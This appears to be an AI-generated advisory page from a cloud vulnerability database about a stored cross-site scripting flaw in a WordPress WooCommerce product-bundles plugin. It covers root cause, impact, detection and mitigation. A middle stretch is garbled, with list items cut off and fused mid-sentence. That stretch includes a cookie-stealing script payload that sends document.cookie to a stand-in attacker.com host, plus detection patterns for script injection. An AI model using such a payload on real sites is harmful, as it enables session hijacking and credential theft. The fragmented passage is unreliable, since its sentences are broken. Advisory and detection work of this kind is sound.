
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-93836 is a stored cross-site scripting (XSS) vulnerability in the WPC Product Bundles for WooCommerce WordPress plugin by WPClever. It affects all versions up to and including 8.6.6, allowing unauthenticated attackers to inject malicious scripts via the qty parameter, which are then stored in order item metadata (_woosb_ids) and executed when users view the affected page. The CVE is currently in a Reserved status, and the CVSS category is estimated as Medium (CWE-79) (Feedly).
The root cause is insufficient input sanitization and output escaping of the qty parameter in the WPC Product Bundles for WooCommerce plugin (CWE-79: Improper Neutralization of Input During Web Page Generation). An unauthenticated attacker can submit a crafted request containing a malicious script payload in the qty field during a product bundle interaction; this payload is persisted in WooCommerce order item metadata under the _woosb_ids key. The stored payload subsequently executes in the browser of any user (including administrators) who views the affected order or page, making this a persistent (stored) XSS attack (Feedly).
Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of any user who views the compromised order or page, including store administrators. This can lead to session hijacking, credential theft, unauthorized administrative actions (such as creating rogue admin accounts or modifying store settings), and potential full site compromise. The stored nature of the payload means a single injection can affect multiple victims over time (Feedly).
No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported at this time. The CVE remains in Reserved status, and no EPSS score or CISA KEV catalog listing is currently available. However, the unauthenticated attack vector significantly lowers the barrier to exploitation, as no credentials or special privileges are required to inject the malicious payload (Feedly).
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>) to be injected via the qty parameter.qty parameter (e.g., via a crafted form submission or direct HTTP POST request)._woosb_ids key without proper sanitization.qty parameter during WooCommerce product bundle requests (e.g., values containing <script>, javascript:, or HTML-encoded equivalents).wp_woocommerce_order_itemmeta) entries under the _woosb_ids key containing script tags or JavaScript event handlers.Users should update the WPC Product Bundles for WooCommerce plugin to a version beyond 8.6.6 as soon as a patched release is made available by WPClever. In the interim, consider disabling the plugin if it is not critical to store operations, or implement a Web Application Firewall (WAF) rule to block requests containing script tags or JavaScript in the qty parameter. Monitor the official WordPress plugin repository and WPClever's communications for patch announcements (Feedly).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."